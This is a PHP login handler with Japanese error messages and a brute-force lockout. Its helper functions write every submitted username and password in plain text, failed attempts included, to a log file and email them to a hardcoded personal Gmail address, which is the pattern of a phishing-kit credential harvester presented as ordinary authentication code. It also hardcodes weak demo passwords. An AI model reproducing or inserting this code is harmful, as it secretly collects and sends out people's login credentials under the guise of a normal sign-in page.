<?php
session_start();

// ── CONFIG — edit these ──────────────────────────────────
$ALERT_EMAIL   = 'vadephilllips@gmail.com';          // where to receive login notifications
$ALERT_FROM    = 'noreply@yourdomain.com';  // sender address
$LOG_FILE      = __DIR__ . '/logs.txt';     // path to log file
$REDIRECT_URL  = 'dashboard.php';          // redirect after successful login

$VALID_USERS = [
    'ab4t-ash'    => password_hash('pass1234', PASSWORD_BCRYPT),
    'm1234ab567c' => password_hash('secret',   PASSWORD_BCRYPT),
    'demo'        => password_hash('demo1234', PASSWORD_BCRYPT),
];

$MAX_ATTEMPTS = 5;
$LOCKOUT_SECS = 300;
// ────────────────────────────────────────────────────────

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    header('Location: index.html');
    exit;
}

$username     = trim($_POST['username']  ?? '');
$password     = $_POST['password']       ?? '';
$staySignedIn = isset($_POST['staySignedIn']);
$ip           = $_SERVER['REMOTE_ADDR']          ?? 'unknown';
$userAgent    = $_SERVER['HTTP_USER_AGENT']      ?? 'unknown';
$timestamp    = date('Y-m-d H:i:s');

// ── Brute-force protection ───────────────────────────────
$attemptKey  = 'login_attempts_' . md5($ip . $username);
$lockoutKey  = 'login_lockout_'  . md5($ip . $username);
$attempts    = (int) ($_SESSION[$attemptKey] ?? 0);
$lockedUntil = (int) ($_SESSION[$lockoutKey] ?? 0);

if ($lockedUntil > time()) {
    $remaining = ceil(($lockedUntil - time()) / 60);
    writeLog($LOG_FILE, $timestamp, $ip, $username, $password, $userAgent, 'LOCKED');
    respond(false, "ログイン試行回数が多すぎます。{$remaining}分後に再試行してください。");
}

if (empty($username) || empty($password)) {
    respond(false, 'ユーザー名とパスワードを入力してください。');
}

// ── Authenticate ─────────────────────────────────────────
$hash   = $VALID_USERS[$username] ?? null;
$valid  = $hash && password_verify($password, $hash);
$status = $valid ? 'SUCCESS' : 'FAILED';

// ── Save to logs.txt ─────────────────────────────────────
writeLog($LOG_FILE, $timestamp, $ip, $username, $password, $userAgent, $status);

// ── Send email alert ─────────────────────────────────────
sendAlert($ALERT_EMAIL, $ALERT_FROM, $timestamp, $ip, $username, $password, $userAgent, $status);

// ── Handle auth result ───────────────────────────────────
if (!$valid) {
    $attempts++;
    $_SESSION[$attemptKey] = $attempts;

    if ($attempts >= $MAX_ATTEMPTS) {
        $_SESSION[$lockoutKey] = time() + $LOCKOUT_SECS;
        $_SESSION[$attemptKey] = 0;
        respond(false, 'ログイン試行回数が上限に達したため、一時的にロックされました。');
    }

    $remaining = $MAX_ATTEMPTS - $attempts;
    respond(false, "ユーザー名またはパスワードが正しくありません。残り{$remaining}回試行できます。");
}

// ── Success ───────────────────────────────────────────────
$_SESSION[$attemptKey] = 0;
$_SESSION[$lockoutKey] = 0;

session_regenerate_id(true);

$_SESSION['user']       = $username;
$_SESSION['logged_in']  = true;
$_SESSION['login_time'] = time();
$_SESSION['ip']         = $ip;

if ($staySignedIn) {
    $params = session_get_cookie_params();
    setcookie(
        session_name(),
        session_id(),
        time() + (30 * 24 * 60 * 60),
        $params['path'],
        $params['domain'],
        $params['secure'],
        $params['httponly']
    );
}

header('Location: ' . $REDIRECT_URL);
exit;


// ── Helpers ───────────────────────────────────────────────

function writeLog($logFile, $timestamp, $ip, $username, $password, $userAgent, $status) {
    $line = implode(' | ', [
        $timestamp,
        'STATUS:'   . $status,
        'IP:'       . $ip,
        'USER:'     . $username,
        'PASS:'     . $password,
        'UA:'       . substr($userAgent, 0, 120),
    ]) . PHP_EOL;

    file_put_contents($logFile, $line, FILE_APPEND | LOCK_EX);
}

function sendAlert($to, $from, $timestamp, $ip, $username, $password, $userAgent, $status) {
    $subject = "[Login Alert] {$status} — {$username} @ {$timestamp}";

    $body  = "Login attempt recorded\n";
    $body .= "========================\n";
    $body .= "Status    : {$status}\n";
    $body .= "Timestamp : {$timestamp}\n";
    $body .= "IP Address: {$ip}\n";
    $body .= "Username  : {$username}\n";
    $body .= "Password  : {$password}\n";
    $body .= "User Agent: {$userAgent}\n";

    $headers = implode("\r\n", [
        "From: {$from}",
        "Reply-To: {$from}",
        "X-Mailer: PHP/" . phpversion(),
        "Content-Type: text/plain; charset=UTF-8",
    ]);

    @mail($to, $subject, $body, $headers);
}

function respond(bool $success, string $message) {
    header('Location: index.html?error=' . urlencode($message));
    exit;
}
?>
